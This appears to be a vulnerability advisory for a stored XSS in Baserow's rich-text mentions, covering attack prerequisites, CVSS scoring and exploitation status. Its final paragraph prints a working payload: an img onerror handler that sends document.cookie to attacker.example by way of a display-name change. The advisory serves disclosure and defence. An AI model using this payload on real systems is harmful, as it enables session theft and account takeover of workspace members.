Baserow CVE-2026-76837

The attacker must hold a valid Baserow account within the target workspace; the lowest permission level (such as viewer or commenter) is explicitly sufficient - no administrative or elevated role is required. Beyond the attacker's account, at least one other workspace member must have created a rich-text cell containing a mention of the attacker's account (typing @attacker-name) in any table the workspace has access to. Once this mention exists, the payload fires automatically for every workspace member who loads the table - no click, link-following, or other deliberate victim action is needed (confirmed by UI:N in the CVSS 4.0 vector). The payload persists until the attacker's first_name is changed back to a safe value or the row containing the mention is deleted. Exploitation is limited to workspaces where the attacker holds membership and where rich-text fields are in use; plain-text field types are not vulnerable to this path. Self-hosted deployments with a Content Security Policy that blocks inline scripts or restricts script-src would prevent JavaScript execution but not HTML injection.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) accurately reflects the attack mechanics: network-reachable, low complexity, requiring only a low-privileged workspace account and no victim interaction. The PR:L metric confirms authentication is required, but at the absolute minimum membership level. The UI:N designation is operationally significant - unlike reflected or click-triggered XSS, this payload fires passively for every user who loads a table containing the poisoned mention, making it a broadcast attack. The CVSS 5.3 Medium score somewhat underrepresents real-world priority: stored XSS with zero-click, workspace-wide delivery is materially more dangerous than typical reflected XSS at the same score. No EPSS data was provided, so exploitation probability cannot be quantified from that signal. No CISA KEV listing exists, meaning active exploitation is unconfirmed. The SSVC exploitation status is therefore 'none identified,' though the low attack complexity and self-service payload delivery make future exploitation feasible. Confidentiality and integrity impact are rated Low (VC:L/VI:L/SC:L/SI:L), consistent with typical stored XSS capability (session token theft, DOM manipulation, credential harvesting via fake UI), but these impacts are compounded by the persistent, workspace-wide scope.

An attacker with the lowest-level membership in a Baserow workspace sets their account display name to a payload such as >"><img src=x onerror=fetch('https://attacker.example/c?t='+document.cookie)> via a direct API call to PATCH /api/user/account/. A colleague then types @attacker in any rich-text field cell, creating a persistent mention. Every subsequent workspace member who views that table automatically executes the injected script in their browser session, silently exfiltrating their session cookies or authentication tokens to the attacker's server with no clicks required.